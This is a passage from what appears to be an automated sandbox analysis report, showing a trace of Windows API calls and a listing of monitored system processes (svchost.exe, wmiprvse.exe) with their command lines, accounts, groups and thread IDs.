hHeap=0x510000) returned 1 [0049.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0049.652] IUnknown:Release (This=0x58373c) returned 0x4 [0049.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569fe0 | out: hHeap=0x510000) returned 1 [0049.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x599908 | out: hHeap=0x510000) returned 1 [0049.652] IUnknown:Release (This=0x58373c) returned 0x3 [0049.652] IUnknown:Release (This=0x53de34) returned 0x6 [0049.652] IUnknown:Release (This=0x53de34) returned 0x5 [0049.653] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54d730 | out: hHeap=0x510000) returned 1 [0049.653] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3c7bc20 | out: hHeap=0x510000) returned 1 [0049.653] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x927c0) returned 0x0 [0049.653] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x927c0) returned 0x0 [0055.751] DeleteFiber (lpFiber=0x3c85ae0) [0055.751] CoUninitialize () [0055.752] DeleteFiber (lpFiber=0x3c7c0d0) [0055.752] GetCurrentThreadId () returned 0xb54 Process: id = "19" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8f04000" os_pid = "0x370" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "13" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cc7d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 70 os_tid = 0x15c Thread: id = 71 os_tid = 0x388 Thread: id = 72 os_tid = 0x514 Thread: id = 73 os_tid = 0x318 Thread: id = 74 os_tid = 0x638 Thread: id = 75 os_tid = 0x25c Thread: id = 76 os_tid = 0x794 Thread: id = 77 os_tid = 0x7a4 Thread: id = 78 os_tid = 0x6d0 Thread: id = 79 os_tid = 0x4e4 Thread: id = 80 os_tid = 0x504 Thread: id = 81 os_tid = 0x7ac Thread: id = 82 os_tid = 0x630 Thread: id = 83 os_tid = 0x524 Thread: id = 84 os_tid = 0x64 Thread: id = 85 os_tid = 0x40c Thread: id = 86 os_tid = 0x798 Thread: id = 87 os_tid = 0x7dc Thread: id = 88 os_tid = 0x344 Thread: id = 89 os_tid = 0x7e8 Thread: id = 90 os_tid = 0x11c Thread: id = 91 os_tid = 0x41c Thread: id = 92 os_tid = 0x618 Thread: id = 93 os_tid = 0x5fc Thread: id = 94 os_tid = 0x5f4 Thread: id = 95 os_tid = 0x5ec Thread: id = 96 os_tid = 0x5d0 Thread: id = 97 os_tid = 0x5c4 Thread: id = 98 os_tid = 0x5c0 Thread: id = 99 os_tid = 0x59c Thread: id = 100 os_tid = 0x480 Thread: id = 101 os_tid = 0x45c Thread: id = 102 os_tid = 0x43c Thread: id = 103 os_tid = 0x414 Thread: id = 104 os_tid = 0x410 Thread: id = 105 os_tid = 0xf0 Thread: id = 106 os_tid = 0xc8 Thread: id = 107 os_tid = 0x3f4 Thread: id = 108 os_tid = 0x3e8 Thread: id = 109 os_tid = 0x39c Thread: id = 110 os_tid = 0x390 Thread: id = 111 os_tid = 0x37c Thread: id = 112 os_tid = 0x374 Thread: id = 145 os_tid = 0x910 Thread: id = 146 os_tid = 0xaf0 Thread: id = 147 os_tid = 0x920 Thread: id = 148 os_tid = 0x9d0 Thread: id = 149 os_tid = 0x6f8 Thread: id = 160 os_tid = 0xb80 Thread: id = 161 os_tid = 0x8fc Thread: id = 162 os_tid = 0x838 Thread: id = 163 os_tid = 0x804 Thread: id = 204 os_tid = 0xb7c Thread: id = 205 os_tid = 0x940 Process: id = "20" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9014000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "18" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000db03" [0xc000000f], "LOCAL" [0x7] Thread: id = 114 os_tid = 0xb70 Thread: id = 115 os_tid = 0x7c0 Thread: id = 116 os_tid = 0x310 Thread: id = 117 os_tid = 0x128 Thread: id = 118 os_tid = 0x7c8 Thread: id = 119 os_tid = 0x6cc Thread: id = 120 os_tid = 0x644 Thread: id = 121 os_tid = 0x63c Thread: id = 122 os_tid = 0x154 Thread: id = 123 os_tid = 0x150 Thread: id = 124 os_tid = 0x120 Thread: id = 125 os_tid = 0x124 Thread: id = 126 os_tid = 0x118 Thread: id = 127 os_tid = 0x3fc Thread: id = 164 os_tid = 0x424 Thread: id = 207 os_tid = 0x9ec Thread: id = 215 os_tid = 0x930 Process: id = "21" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x4a002000" os_pid = "0xbc8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "19" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00059e6f" [0xc000000f] Thread: id = 128 os_tid = 0xbec Thread: id = 129 os_tid = 0xbe8 Thread: id = 130 os_tid = 0xbe4 Thread: id = 131 os_tid = 0xbe0 Thread: id = 132 os_tid = 0xbdc Thread: id = 133 os_tid = 0xbd8 Thread: id = 134 os_tid = 0xbd4 Thread: id = 135 os_tid = 0xbd0 Thread: id = 136 os_tid = 0xbcc Thread: id = 210 os_tid = 0x7d8 Thread: id = 216 os_tid = 0x6e8 Process: id = "22" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x4abfd000" os_pid = "0xba0" os_integrity_level = "0x4000" os_privileges = "0xe60b1e990" monitor_reason = "rpc_server" parent_id = "19" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000cc7d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 137 os_tid = 0xbc0 Thread: id = 138 os_tid = 0xbbc Thread: id = 139 os_tid = 0xbb8 Thread: id = 140 os_tid = 0xbb4 Thread: id = 141 os_tid = 0xbb0 Thread: id = 142 os_tid = 0xbac Thread: id = 143 os_tid = 0xba8 Thread: id = 144 os_tid = 0xba4 Thread: id = 209 os_tid = 0x5e4 Thread: id = 218 os_tid = 0xad0 Process: id = "23" image_name = "wmiprvse.exe" filename = "c:\\windows\\syswow64\\wbem\\wmiprvse.exe" page_root = "0x31d14000" os_pid = "0x6f4" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "19" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\sysWOW64\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00072d24" [0xc000000f] Thread: id = 150 os_tid = 0xbf8 Thread: id = 151 os_tid = 0x5b0 Thread: id = 152 os_tid = 0x7cc Thread: id = 153 os_tid = 0x32c Thread: id = 154 os_tid = 0x328 Thread: id = 155 os_tid = 0xb90 Thread: id = 156 os_tid = 0xaa0 Thread: id = 212 os_tid = 0x174 Thread: id = 217 os_tid = 0xb54 Process: id = "24" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x941e000" os_pid = "0x218" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "20" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e2b6" [0xc000000f], "LOCAL" [0x7] Thread: id = 165 os_tid = 0xb6c Thread: id = 166 os_tid = 0xc4 Thread: id = 167 os_tid = 0x660 Thread: id = 168 os_tid = 0x6c4 Thread: id = 169 os_tid = 0x7bc Thread: id = 170 os_tid = 0x72c Thread: id = 171 os_tid = 0x600 Thread: id = 172 os_tid = 0x5e8 Thread: id = 173 os_tid = 0x5d8 Thread: id = 174 os_tid = 0x5a4 Thread: id = 175 os_tid = 0x544 Thread: id = 176 os_tid = 0x404 Thread: id = 177 os_tid = 0x138 Thread: id = 178 os_tid = 0x378 Thread: id = 179 os_tid = 0x3a0 Thread: id = 180 os_tid = 0x214 Thread: id = 181 os_tid = 0x12c Thread: id = 208 os_tid = 0xaac Thread: id = 213 os_tid = 0x74c Thread: id = 214 os_tid = 0x564 Process: id = "25" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xa5fd000" os_pid = "0x338" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "rpc_server" parent_id = "19" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b93c" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 182 os_tid = 0x888 Thread: id = 183 os_tid = 0x718 Thread: id = 184 os_tid = 0x308 Thread: id = 185 os_tid = 0x6d8 Thread: id = 186 os_tid = 0x6b0 Thread: id = 187 os_tid = 0x590 Thread: id = 188 os_tid = 0x574 Thread: id = 189 os_tid = 0x144 Thread: id = 190 os_tid = 0x110 Thread: id = 191 os_tid = 0x3f0 Thread: id = 192 os_tid = 0x3ec Thread: id = 193 os_tid = 0x3e4 Thread: id = 194 os_tid = 0x3e0 Thread: id = 195 os_tid = 0x3d0 Thread: id = 196 os_tid = 0x3cc Thread: id = 197 os_tid = 0x398 Thread: id = 198 os_tid = 0x394 Thread: id = 199 os_tid = 0x384 Thread: id = 200 os_tid = 0x380 Thread: id = 201 os_tid = 0x368 Thread: id = 202 os_tid = 0x350 Thread: id = 203 os_tid = 0x33c Thread: id = 206 os_tid = 0x9ac